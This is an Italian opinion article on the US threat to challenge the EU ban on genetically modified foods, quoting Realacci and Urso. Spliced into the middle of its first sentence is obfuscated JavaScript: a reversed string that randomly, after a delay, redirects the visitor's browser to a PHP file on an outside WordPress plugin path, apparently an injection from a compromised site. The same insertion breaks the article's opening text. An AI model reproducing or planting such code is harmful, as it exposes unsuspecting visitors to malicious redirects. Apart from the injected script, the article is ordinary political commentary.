Immorale per gli Usa bandire gli Ogm

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E’ immorale b (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andire i cibi geneticamente modificati. Lo ha sostenuto qualche giorno fa il rappresentante americano per il Commercio Robert Zoellick, minacciando di intentare azioni contro l’Unione Europea. La notizia risale allo scorso 10 gennaio, ma in pochi sembrano esserne al corrente. Dura la replica del presidente di Legambiente, nonché parlamentare dell’Ulivo, Ermete realacci. “Come si può sostenere – ha detto – l’immoralità del principio precauzionale che l’Unione Europea ha voluto assumere tutelando i propri cittadini? D’altronde non ha fatto altro che mantenere le promesse ai propri cittadini individuando come priorità la tutela della qualità e della cultura enogastronomia del Vecchio continente”. Se una scelta del genere è definita immorale, diventa difficile riuscire a definire il tentativo di arricchirsi a discapito della salute umana. Realacci ha parlato di “prepotenza degli Stati Uniti (niente di nuovo quindi), per il “loro volere imporre la logica del profitto soprattutto nei Paesi del Sud del mondo, dove la morte per fame è una realtà quotidiana e la tutela della biodiversità è un’esigenza irrinunciabile”. Gli aiuti umanitari, infatti, dovrebbero garantire la qualità per poter assistere le popolazioni povere, ma è cosa nota che questo non sempre accade. Realacci, al termine del proprio intervento, ha chiesto al Governo italiano di “schierarsi a difesa di questi principi per tutelare il diritto ad un cibo sano e sicuro”. Riuscirà l’Italia ad avere un’opinione ed un comportamento diversi dagli Usa almeno stavolta? Leggendo il comunicato del sottosegretario alle Attività Produttive, Adolfo Urso, sembrerebbe di sì. La minaccia americana di ricorrere al Wto nei confronti dell’Unione Europea, perché di fatto ha bandito gli Ogm, è stata definita da Urso “eccessiva e controproducente”. “La minaccia Usa – sostiene il sottosegretario – potrebbe pregiudicare quella soluzione negoziale che auspichiamo e verso la quale lavoriamo, su questo come su altri temi che stanno dividendo gli Usa dall’Ue”. E’ invece più “opportuna” la strada imboccata dall’Unione, almeno secondo Urso, che prevede di segnalare la presenza di Ogm sui prodotti alimentari consentendo al consumatore di scegliere con cognizione. Ma Urso ha voluto esagerare, sostenendo che l’intervento di Zoellick è sbagliato perché “accomuna in qualche modo la posizione espressa dall’Ue, tesa a garantire maggiore informazione e tutela per i cittadini, con quella di alcuni Paesi africani che rifiutano alimenti Ogm”. Queste realtà africane, infatti, con un simile atteggiamento creano “un ulteriore gravissimo danno alle proprie popolazioni che devono fronteggiare drammatiche situazioni di carestia”.
Un ragionamento che fila come un fuso. E’ sacrosanto che a noi ricchi sia data la possibilità di tutelarci, mentre chi muore di fame deve prendere ciò che gli viene propinato, che importanza ha se può in qualche modo danneggiare la salute? L’Occidente deve avere il diritto di sperimentare gli Ogm sugli esseri umani, esiste un’opportunità migliore di quella offerta dal “bisogno” dei paesi poveri?Ci fa anche la figura del generoso…

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